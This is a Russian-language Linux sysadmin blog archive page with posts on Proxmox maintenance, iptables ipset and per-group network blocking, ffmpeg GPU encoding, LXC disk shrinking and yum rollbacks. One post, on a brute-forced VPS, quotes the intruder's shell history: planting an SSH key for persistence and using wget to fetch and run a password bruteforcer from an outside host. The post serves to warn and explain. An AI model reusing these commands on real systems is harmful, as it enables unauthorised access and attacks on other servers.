Записи с меткой «linux»

linux (fedora) russian console fix 🐧

Posted: 2020-05-13 in IT
Метки:

!! актуально только для работ в голой консоли (tty*), НЕ xterm|konsole|*xterm
/* в графических оболочках и так всё работает */

Чтобы вместо квадратиков был нормальный русский текст в оболочках по Ctrl-Alt-F2..F5.

Вместо установки пакета workaround-cyrillic-console прописываем такое в профиль:

echo setfont cyr-sun16 >> ~/.bashrc

для всех юзеров, кому нужна такая фича.
Проще, прозрачнее и понятнее, чем пакеты или даже юниты systemd.
рабочий хак отсюда: https://www.linux.org.ru/forum/general/11227064?cid=11227512

Обнаружил тут на одной из нод кластера проксмокса примерно такую пургу в логах ( journalctl -f ):

node1-proxmox rrdcached[id]: queue_thread_main: rrd_update_r (/var/lib/rrdcached/...) failed with status -1. (/var/lib/rrdcached/...: illegal attempt to update using time 1380729396 when last update time is 1380730627 (minimum one second step))

Гугление привело на сайт проксмокса:
https://forum.proxmox.com/threads/solved-rrdc-update-error.16256/

Однако помимо очевидного момента с необходимостью проверки одинаковости времени и работоспособности NTP, есть ещё одна связанная проблема. Похоже, иногда обновление этих файлов RRD (в них содержится статистика по нагрузке для построения графиков в веб-морде) как-то ломается, и данные перестают обновляться. Один из симптомов этого — при логине на некоторые ноды статистика по загрузке CPU/Mem/Net/IO некоторых контенеров/ВМ в веб-морде будет рисовать пустой график с датами на оси от 1970-01-01.

Для фикса этой беды помогает вот такая команда:
find /var/lib/rrdcached/ -type f -mtime +5 -delete;

Она удалит из кэша RRD-файлы статистики, не обновлявшиеся более 5 дней. Не бойтесь удалить данные существующего объекта — если объект есть, новый файл будет создан заново. Никаких демонов и процессов при этом перезапускать не надо. Выполнить лучше на всех нодах.
Заодно это удалит архив старой статистики от давно удалённых виртуалок и старых точек монтирования.

После этого графики нагрузки снова начали отображаться, а ошибка «… illegal attempt to update using time … minimum one second step …» перестала сыпаться в логи.

Казалось бы, что прям такого плохого может быть в такой малозначительной, на первый взгляд, ошибке, как невозможность обновить статистику, что я решил об этом написать ?

В моём случае на проблемной ноде висел контейнер с игровым сервером UT’99. И в процессе гамания раз в 2-3 минуты клиенты подвисали в воздухе, иногда отображался индикатор потери связи с сервером. При этом в системных логах внутри самого контейнера, в логах гейм-сервера, на сетевых интерфейсах и в *top-ах никакого особого криминала не наблюдалось.

И проявилось это только на последнем апдейте проксмокса из ветки 5.4. Аналогично, это могло подействовать на любые реалтайм-сервисы схожим образом.

P.S. Вариант не ставить секурити-апдейты даже не рассматривается =)

Сегодня я немного расскажу про принтеры, сетевую печать, кривые драйверы, и как их сперва самому сломать, а потом самому же и починить.
Думаю, будет полезным.
(далее…)

Всем привет, и сегодня мы снова поговорим про локальный мониторинг.

Сегодня будем добавлять бесперебойник и управляемый свитч в локальный KSysGuard.
Кому интересно — заходим =)
(далее…)

Всем привет.
Сегодня я гляну очередной гос-болгенос. Типа сертифицированный, весь такой отечественный и всё такое.
Понятно, что внутри будет очередной пингвин, но я решил поделиться с читателями своими впечатлениями.
(далее…)

🐧 KSysGuard + NVidia GPU

Posted: 2019-10-27 in Hardware, IT
Метки:, ,

Всем привет. Если на вашей машине стоит линух, и вы хоть раз заглядывали в мониторинг тулзой ksysguard, то могли заметить, что кроме списка процессов и общих графиков по загрузке CPU, памяти и сети можно добавлять ещё и свои вкладки. Но по умолчанию там есть только внутрисистемные датчики и те аппаратные сенсоры, которые видит ядро (это прежде всего всякие сенсоры материнской платы о температурах, оборотах кулера и напряжениях питания).
Однако туда можно прикрутить и датчики от других устройств, самое интерсное из которых — видеокарта.
(далее…)

Есть в линуксе такой очень тёплый и очень ламповый файервол — iptables.
Присутствует он там уже 20 с лишним лет, и чаще всего используется либо в настройках по умолчанию, либо для классической раздачи инета через шлюзовой сервер посредством NAT/MASQUERADE. Иногда про него вспоминают, если поднятый сервис после старта оказался не доступен из инета =)

Однако есть у него и ряд совершенно чумовых возможностей. В одной заметке нереально уместить всё обилие фич и сценариев использования, появившихся за двадцатилетнюю историю, я же опишу лишь две из них.

IPSET.

Офигенная штука, когда надо работать с крупными списками адресов или список адресов должен быть использован более одного раза.
Пример — есть у нас список IP адресов (ркн, телеметрия майкрософт, копирасты, спамеры и прочие злыдни), с которыми соединяться не нужно даже случайно ни на вход, ни на выход. Список при этом может часто меняться. Размещать всю эту муру в основном конфиге файервола — сложно, неудобно и чревато поломкой сети в случае ошибки.
Что мы делаем ? Ставим пакет ipset, и пишем простейший скрипт типа такого:

#!/bin/sh

ipset -N banlist iphash
ipset -F banlist

# Spam bots
ipset -A banlist 92.127.233.224
ipset -A banlist 208.103.122.165
...
ipset -A banlist 95.101.95.129/25

А в начало конфига файервола пишем вот такое:
-A INPUT -m set --set banlist src -j DROP
-A OUTPUT -m set --set banlist dst -j DROP

Всё, любой входящий траффик с этих адресов и исходящий на них же будет дропаться с регистрацией в соответствующих счётчиках (iptables —list -vn). Важных замечаний ровно два. Первое — ипсеты использует такая лютая надстройка, как firewalld. Мне не очень нравится его развесистая лапша из таблиц, пытающаяся описать все распространённые случаи. Надо внимательно смотреть, что ипсеты правильно применились. Зато он полностью сам рулит ипсетами, правилами, последовательностью запуска и прочим. Но конфиг на выходе — в три экрана. Впрочем, ничто не мешает снести надстройку и написать свой конфиг файервола со скриптами, сетами и логгерами.
Второе — сеты должны быть созданы ДО запуска файервола. Как именно вы это сделаете — через юниты systemd, скриптами из rc.local или ещё как — не суть. Главное — конфиг с -m set сработает только тогда, когда используемый ipset будет создан (вполне может быть и пустым).

Очень полезная особенность — правка ipset-ов не рестартит файервол, не сбрасывает его счётчики, не трогает никакие другие правила, к ipset-у не относящиеся. В простых конфигах ipset может показаться лишней сущностью. Но для систем типа fail2ban или случая развесистых списков адресов для правил — вещь незаменимая.

-m owner

Ещё одна редко используемая, но тоже в ряде случаев полезная опция.
Идея в том, что ядро системы знает, какой исходящий траффик процессом какого пользователя порожден, и может на основании этого применить специфичную обработку траффика.
Вспомнил я про это, когда один из моих знакомых спросил, можно ли запустить некое виндовс-приложение в WINE так, чтобы он не могло вылезти в сеть.

В этом случае самое очевидное, и при этом весьма надёжное — отдельная виртуальная машина. Но это а) куда менее удобно б) требует ещё один инстанс ОС.
Однако есть и готовое решение, изумительно простое в своей изящности. Оно не столь надёжно, как изолированная ВМ без сетевой карты, но поставленную задачу тоже решает.
Идея в том, что iptables для исходящего траффика может различать траффик не только по пользователю, но и по его группе и даже по SELinux-контексту. Возня с отдельными пользователями под каждую софтину — неудобна и проблемна из-за прав доступа и вопросов доступа к X-серверу, SELinux сам по себе та ещё черная магия, а вот доступ на основе группы — это то, что доктор прописал.

Базовый ман для убунты на английскои тут: https://askubuntu.com/questions/249826/how-to-disable-internet-connection-for-a-single-process/393013#393013

Для редхатных чуть иначе.
Сперва создаем группу, которую будем назначать тем, кому надо ограничить сетевые аппетиты:

groupadd no-internet

Дальше делаем нашего пользователя членом этой группы:
usermod -G no-internet UserVasya
ВАЖНО !! Опция -G — заглавной буквой ! То есть мы добавляем пользователя UserVasya в группу no-internet, но ОСНОВНУЮ группу пользователя не меняем ! Если перепутать — пользователь останется с отломанным инетом.

В файлах это будет выглядеть вот так:

# cat /etc/group | grep UserVasya
UserVasya:x:1000:
no-internet:x:1011:UserVasya

# cat /etc/passwd | grep UserVasya
UserVasya:x:1000:1000:UserVasya:/home/UserVasya:/bin/bash

Тут у нас есть пользователь UserVasya c UID = 1000, его основная группа — тоже UserVasya, с GID = 1000. Но он также входит в группу no-internet c GID = 1011. Именно это членство позволит пользователю менять группу без ухищрений с судо и запросов паролей.

Теперь напишем сетевое правило для этой группы где-нибудь в начале фильтров для OUTPUT:

-A OUTPUT -m owner --gid-owner no-internet -j DROP

Тут мы говорим файерволу, что траффик, порожденный процессами c группой no-internet, надо тихо дропнуть.

А дальше мы просто воспользуемся утилитой sg (substitute group).

Примеры волшебных команд:

sg no-internet quake2
sg no-internet konsole
sg no-internet ~/.wine_radmin/radmin.sh
env WINEPREFIX=/home/user/.wine_ut2004 sg no-internet 'wine "C:\UT2004\System\UT2004.exe"'

При их выполнении приложения запустятся, но попытка зайти на игровые сервера, соединиться с серверами radmin или пропинговать что-то в запущенной таким способом консоли — завершится неудачей.

Однако это не является 100% способом !
Например, запущенный таким образом firefox группу не меняет, и остается с сетевым доступом !

Так что реально критичным сервисам — своя ВМ, со своим файерволом.

В следующий раз попрактикуемся в ч0рной магии.

Всем привет.
Сегодня мы посмотрим на одну линуксовую сборную солянку от отечественных дистростроителей, разрабатывающих сборку ОС для применения в школах и прочих учебных заведениях.
(далее…)

Всем привет. Сегодня мы поговорим о безопасности WINE и важности изоляции вайн-префиксов.
(далее…)

🐧 ОС Эльбрус 3.0

Posted: 2019-04-22 in IT, Software
Метки:

Пару лет назад я писал небольшой обзорчик по тогда ещё бетке(?) ОС Эльбус для x86, даже не помню, как ко мне попавшей. Сейчас эта ОС публично зарелизилась, так что если вам интересно узнать, что за это время поменялось, просим в нашу уютную читальню.
(далее…)

Есть такое явление, как поддельные флешки. Это когда берётся мелкая микросхема флеш-памяти гига на два, а в контроллер прошивается мошенническая фирмварь, которая сообщает хосту, что её объём в разы больше (особо наглые могут заявлять о терабайтных размерах).

Чаще всего встречается на китайских барахолках, но и в магазине тоже может попасться.
Объявление вида «полный ёмкость дешевые мультфильм Монстры модель 128 ГБ USB флэш накопитель» по цене 400 рублей — это именно оно.

(далее…)

Надо быстро слить крупный дамп неприватных данных.
В текущем каталоге запускаем такое:

python -m SimpleHTTPServer

И на 8000-м порту видим веб-сервер с индексом каталога. По завершении стопаем этот «фемтосервер :D» по Ctrl-C.
Это изумительно и прекрасно. Само собой, ценные базы и чувствительные данные так перекидывать не надо, для ценных данных есть SSH.

Задача — быстренько пережать видосы (видео -> h264, звук -> mp3), например, чтобы смотреть их на старой хумаксовской приставке (не умеющей mp4a / ogg в звуке), где-нибудь на даче. У «Твое ТВ» как раз такая приставка.

Волшебные ингридиенты: Fedora 28 x64, nvidia-driver-390.67, ffmpeg 4.x, доброкарта GTX 1070, проц не совсем тухлый.

Собственно магия:
ffmpeg -i input_file.avi -c:v h264_nvenc -acodec mp3 -vcodec h264_nvenc output_file.avi

И на скорости в несколько десятков раз выше скорости воспроизведения быстренько получаем наши видосы в новом формате.
Вывод будет примерно такой:

frame=13720 fps=1578 q=33.0 Lsize= 147246kB time=00:09:31.83 bitrate=2109.4kbits/s speed=65.8x

Добро-девайсина 1070 от этого даже не потеет — GPU_Util 7-12%, VideoEngine Util — 35-45%.

Если надо понизить качество (генерация превьюшек):
ffmpeg -i input_file.avi -c:v h264_nvenc -acodec libvorbis -ab 64k -vcodec h264_nvenc -b:v 100k -vf scale=240:-1 output1_gpu.avi
Тут мы делаем ширину видео 240 точек, битрейт видео режем до 100к, звук конвертим в OGG с низким битрейтом (64к на звук, аудиофилов предварительно убрать от монитора).

Для подобной конвертации на процессоре делаем так:
ffmpeg -i input1.flv -vf scale=240:-1 -acodec libvorbis -ab 64k output2_cpu.avi

Ещё интересности:
https://habr.com/en/post/262507/
https://habr.com/en/post/262563/
https://developer.nvidia.com/ffmpeg

P.S. при очень низких битрейтах аппаратный GPU-кодек можно заметно сильнее упороть видео, чем софтварный. Тут каждый сам выбирает отношение скорости, размера и качества, благо комбинаций настроек тут необъятно.

Для работы всего этого счастья надо поставить nvidia-драйвер и CUDA Toolkit. Если у вас драйвер уже стоит, и он сильно новее, чем то, то идёт с CUDA-тулкитом, то в инсталлере тулкита снимаете опции, относящиеся к драйверу, оставляете только CUDA ! Примеры и документация тоже не нужны, если только вы не пишите код для GPU.

libinput vs evdev — тачскрин

Posted: 2017-12-26 in IT
Метки:,

Бывают случаи, когда на новых версиях системы (после крупного обновления) калибровка тачскрина через Evdev Axis Calibration не работает.
Причина — тачскрины на новых системах обслуживаются с помощью libinput, а не с помощью evdev.

Как откалибровать в этом случае тачскрин на линуксе — читаем дальше.
(далее…)

Есть такая штука для хостинга виртуалок — ProxMox. И если вам виртуалки и контейнеры из неё ценны — то вы наверняка делаете бэкапы. В проксмоксе это по умолчанию делается таким образом: подключается хранилище, и прямо из веб-морды настраивается расписание бэкапов. Бэкапы всех ВМ и контейнеров пишутся в один каталог, на каждый бэкап два файла — архив собственно ВМ и лог выполнения. Именно при таком хранении (в общей куче и в определённом каталоге) бэкапы доступны для восстановления из веб-морды проксомокса.

Но поскольку хранилище бэкапов доступно ноде на запись, да и вам может захотеться иметь более глубоко эшелонированные бэкапы, может возникнуть потребность дополнительной синхронизации на другие устройства. А в этом случае имеет смысл уже как-то рассортировать эту кучу, чтобы уже в архивных хранилищах разложить бэкапы виртуалок более человечным способом.

Я сделал такую штуку: сперва сервер с архивами по SSH копирует к себе все бэкапы за определенную дату. А теперь применим простой скрипт сортировки бэкапов, который вытащит из лог-файлов имена ВМ, тип и раскидает выкаченное по нужным подкаталогам автоматически.

Исходно у нас было что-то такое:

$ tree
.
├── vzdump-lxc-112-2017_08_28-03_12_02.log
├── vzdump-lxc-112-2017_08_28-03_12_02.tar.gz
├── vzdump-qemu-572-2017_08_28-04_50_04.log
├── vzdump-qemu-572-2017_08_28-04_50_04.vma.gz
...
├── vzdump-{ещё много чего}

и таких файлов — сотни.

После применения скрипта (путь к каталогу указывается параметром) получим что-то такое:

$ tree
├── CT
│        └─ uber-site.сс
│               ├── vzdump-lxc-112-2017_08_28-03_12_02.log
│               └── vzdump-lxc-112-2017_08_28-03_12_02.tar.gz
└── VM
          └─ test-FreeBSD
                ├── vzdump-qemu-572-2017_08_28-04_50_04.log
                └── vzdump-qemu-572-2017_08_28-04_50_04.vma.gz
 

Такое хранить в архиве гораздо приятней, наглядней и удобней.

Важно : скрипт этот предназначен для наведения порядка в АРХИВНЫХ хранилищах. Его применение прямо на хранилище проксмокса сделает бэкапы недоступными из веб-интерфейса. Если так скосячили — придётся закопировать файлы обратно.

Поскольку скрипт опирается на имя виртуалки из логов — то бэкапы ВМ с одним и тем же именем будут закинуты в один и тот же подкаталог, даже если ВМ успела побывать под разными iD и каждый породил свои бэкапы.

Вот такое вот небольшое упрощение админского труда.

В прошлой статье про PXE я описал массу способов сетевой загрузки самых разнообразных осей с USB-флешки домашнего роутера.
С тех пор вышел новый кноппикс — 7.7.1, и помимо обновления (с выхода версии 7.6 прошёл год), мне хотелось иметь возможность грузить полноценное рабочее место с x64-ядром, поскольку объёмы памяти и аппетиты приложений только растут.
Что из этого вышло — читаем ниже.
(далее…)

Всем привет. Довольно давно я уже делал небольшой обзор отечественной сборки линукса, и вот я решил снова вернуться к этой теме.

За прошедшие годы много чего поменялось — сборки для школ потихоньку развиваются, и там даже появляются новые версии, вышли ROSA и ASTRA (если они окажутся чем-то мне интересны, напишу обзорчик), которые живут своей жизнью на x86, и даже есть видео загрузки компьютера Эльбрус с МЦСТ-шным процессором с этой самой ОС Эльбрус.
(далее…)

Задача : после переноса данных в другой mount_point, капитальной расчистки внутри LXC-контейнера или ошибочного задания слишком большого размера файла диска требуется этот диск ресайзнуть в меньшую сторону.

Веб-интерфейс такого не предоставляет (там можно только увеличить размер), поэтому переведу одну рекомендацию с форума проксмокса (https://forum.proxmox.com/threads/shrink-disk-size.24808/#post-124343), чтобы не потерялась.

Для примера, у нас будет LXC-контейнер № 366, проксмокс 4.2, надо уменьшить размер диска с 8 Гб до 2 Гб, пути стандартные.

По шагам, поехали:

1). Останавливаем контейнер.

2). Делаем бэкап.
3). Проверяем, что бэкап есть.

4). Дополнительно копируем файл с дисковым образом ( /var/lib/vz/images/366/vm-366-disk-1.raw ) в другой каталог, если что-нибудь пойдёт не так. Такой образ закопировать назад поверх битого может быть в ряде случаев быстрее, чем разжать из бэкапа.

5). Заходим в каталог с образом диска:
# cd /var/lib/vz/images/366

6). Проверяем файловую систему:
# e2fsck -f vm-366-disk-1.raw
Видим вот такое:

e2fsck: MMP: fsck being run while checking MMP block
MMP check failed: If you are sure the filesystem is not in use on any node, run:
‘tune2fs -f -E clear_mmp {device}’

7). Делаем исправление:
# tune2fs -f -E clear_mmp vm-366-disk-1.raw

8). Снова проверяем, что файловая система внутри теперь в норме:
# e2fsck -f vm-366-disk-1.raw
Должен быть примерно такой вывод:

e2fsck 1.42.12 (29-Aug-2014)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
vm-366-disk-1.raw: 21325/524288 files (0.4% non-contiguous), 240360/2097152 blocks

9). Уменьшаем размер самой структуры файловой системы внутри дискового образа:
# resize2fs -M vm-366-disk-1.raw 2G
Размер ФС будет сильно уменьшен:

resize2fs 1.42.12 (29-Aug-2014)
Resizing the filesystem on vm-366-disk-1.raw to 318585 (4k) blocks.
The filesystem on vm-366-disk-1.raw is now 318585 (4k) blocks long.

Обратите внимание на число блоков — 318585 !

10). Обрежем лишнюю часть файла до размера 2 Гб:
# truncate -s 2G vm-366-disk-1.raw

11). Расширим размер структуры файловой сисемы до нового размера файла-образа:
# resize2fs vm-366-disk-1.raw
Это нужно, чтобы внутри файла выделенное пространство полностью было задействовано файловой системой.

resize2fs 1.42.12 (29-Aug-2014)
Resizing the filesystem on vm-366-disk-1.raw to 524288 (4k) blocks.
The filesystem on vm-366-disk-1.raw is now 524288 (4k) blocks long.

Обратите внимание на число блоков — 524288 !

12). Исправим размер образа в конфиге контейнера:
# vi /etc/pve/nodes/vps3/lxc/366.conf
Если vi вызывает у вас аллергию — используйте любой другой редактор, их много. Правим параметр size в свойствах диска:

rootfs: local:366/vm-366-disk-1.raw,size=2G

Сохраняем, обновляем страницу со свойствами контейнера в веб-интерфейсе, убеждаемся, что размер поменялся.

13). Запускаем контейнер.

14). Заходим в него по SSH, проверяем, что всё работает, смотрим на свободное место :
# df -h -t ext4

Filesystem Size Used Avail Use% Mounted on
/dev/loop1 1.9G 677M 1.1G 39% /

1.9 Гб вместо 7.8 Гб места при 677М данных. Это очень позитивно сказывается на скорости переноса контейнера (при отсутствии общего хранилища), времени бэкапа/восстановления и глубине / объёмах бэкапов.

Сегодня я ещё немного расскажу об анонимной сети TOR, а точнее, о некоторых аспектах настройки Hidden Service-ов.
(далее…)

Bruteforce-Bot

Posted: 2016-01-27 in IT, Security
Метки:, ,

Настраивая свою впс-ку, один клиент поставил слабый пароль на одну из учёток.

Что произошло дальше ?
Боты нащупали слабый пароль:
Accepted password for teamspeak from 185.56.80.177 port 60850 ssh2

зашли по SSH под логином teamspeak, и дальше сделали простую вещь:

$ cat /home/teamspeak/.bash_history

mkdir .ssh
cd .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnhdLIoPB1q8Tn2LUsH7edJG7XwaJJ6cjmo3s+GRi\
ViLvNQIHl016+XIUVAL3Y/R5Irhxif88nymSBHgqBdmXtoNxNsdn6PBAPMH9Vx5XJ8Tc\
ELZQ9VW9Q4HfXptrP8Pm+LIya8pn6qhxtFnF3J5fGpfjnWhK3D439rq84l\
ygavU= Master IcS has arrived" >> authorized_keys
chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys
passwd
php -v
sendmail
php -v
cd .ssh
ls
wget csmioveni.tripod.com//sshd.tgz
tar xvf sshd.tgz
cd .vmware-root/
ls
./start 213
ls

Обломившись с рутом и отсутствием php, херакеры решили немного с этой машины побрутить чужие сервера.

Пос0ны, налетай на csmioveni.tripod.com//sshd.tgz , к0чай прЕватные брутф0рсеры =)
В архиве оказался каталог .vmware-root, в нём — пара скомпиленных бинарей для брутфорса других серверов, словарик паролей и логинов.

Так что настраивая сервер, лучше сразу ставить нормальные пароли и делать авторизацию по ключам.

ТруЪ-чучхе-десктоп

Posted: 2016-01-04 in IT, Software
Метки:,

Всем привет. Отойдя от новогоднего похмелья, вызванного слегка забродившим яблочным соком, спешу поделиться с вами своими изысканиями по необычным образцам операционко-строения.
(далее…)

Сломал Федору.

Posted: 2015-12-02 in IT, Software
Метки:

Penguin_USB_Flash_4Gb_Small

Обновив проприетарный видео-драйвер, немного сломал рабочую систему. Причём сломалось оно как-то хитро,
и грузился у меня после этого только сингл-мод. А значит, самое время узнать про такую вещь, как yum history.

Логинимся в Single-Mode, стартуем сеть командой service network start, вводим волшебное заклинание и видим волшебную табличку в ASCII-графике:
# yum history
Загружены модули: langpacks
ID | Вход пользователя | Дата и время | Действия | Изменен
-------------------------------------------------------------------------------
120 | Amin | 2015-12-01 18:55 | Update | ***
119 | Amin | 2015-11-24 19:45 | E, I, U | 61
.................

Смотрим, что мы поменяли в системе последним обновлением (самое верхнее, номер 120):
# yum history info 120
Загружены модули: langpacks
Код операции : 120
Время начала : Tue Dec 1 21:13:41 2015
Начало rpmdb : 1878:5dfdd10dad671e46d86148fd15ede939521fb779
Конечное время : 21:13:42 2015 (1 секунд)
Конец rpmdb : 1878:6f24fcbf85e3a9553d48ccab3506b361ef5202fc
Пользователь : Amin
Код возврата : Успешно
Команда: update
Пакеты изменены:
Обновлено xorg-x11-drv-nvidia-304xx-304.128-1.****.**** @rpmfusion-nonfree-updates
Обновление 304.131-1.****.**** @rpmfusion-nonfree-updates
Обновлено xorg-x11-drv-nvidia-304xx-libs-304.128-1.***.**** @rpmfusion-nonfree-updates
Обновление 304.131-1.****.**** @rpmfusion-nonfree-updates
........ тут ещё kmod-nvidia-версия-что-то-там и прочие зависимости .............

Опа — обновился видеодрайвер, и после этого обновления возникла проблема.
Просто и без паники откатываем его (да, прямо там же, не выходя из сингл-мода):
# yum history undo 120
Подтверждаем вводом «Y», дожидаемся завершения работы и ребутимся. Наша система снова работает, можно гамать дальше.
Что зачётно — делается это буквально за считанные минуты, доступно из сингл-мода и требует только наличия инета или свого сервера с копиями репозитариев. После этого картина изменится:
# yum history
Загружены модули: langpacks
ID | Вход пользователя | Дата и время | Действия | Изменен
-------------------------------------------------------------------------------
121 | Система | 2015-12-01 20:12 | Downgrade | ***
120 | Amin | 2015-12-01 18:55 | Update | ***
119 | Amin | 2015-11-24 19:45 | E, I, U | 61
.................

Естественно, по команде yum history info 121 можно посмотреть, что именно мы откатили, на какие версии и когда.
Встроенные линуксячьи средства неимоверно мощны, и могут помочь поднять систему даже в самых, казалось бы, печальных случаях.

Почему я это написал ? Ну потому что это впервые за 7 лет использования федоры, когда мне пришлось откатывать установленный апдейт. Всё когда-то бывает в первый раз.

А ещё есть снапшоты уровня файловой системы. Но у меня не было пока что повода их использовать дома.

Подумывая об апгрейде, решил наконец-то заменить одну из наиболее медленных частей в своем компутере. Ну а поскольку я специально не искал лёгких путей — то мне есть что рассказать. 😀
(далее…)

Задача: Есть тестовый стенд для жестких дисков (старый 433-й дохлерон + PCI-SATA-контроллер), на котором помимо линукса со всякими страшными тулзами (из которых особо опасны mkfs, parted, dd и особенно — hdparm ) иногда надо грузить дискетные образы с Victoria / MHDD или подобным низкоуровневым DOS-софтом. Можно, конечно, найти старый дисковод, положить рядом пачку дискет — но это медленно, ненадёжно, неудобно и криво.

Правильный путь — воспользоваться функциями загрузчика GRUB, который умеет необычайно гибко управлять загрузкой.
(далее…)

UniFi 4.6.6 на Debian 8.1

Posted: 2015-08-05 in IT, Networks
Метки:,

Два года назад я делал перенос UniFi-контроллера с виндовс на дебиан. С тех пор довольно сильно поменялись как версии UniFi, так и Дебиана. Вот об этом и поговорим.
(далее…)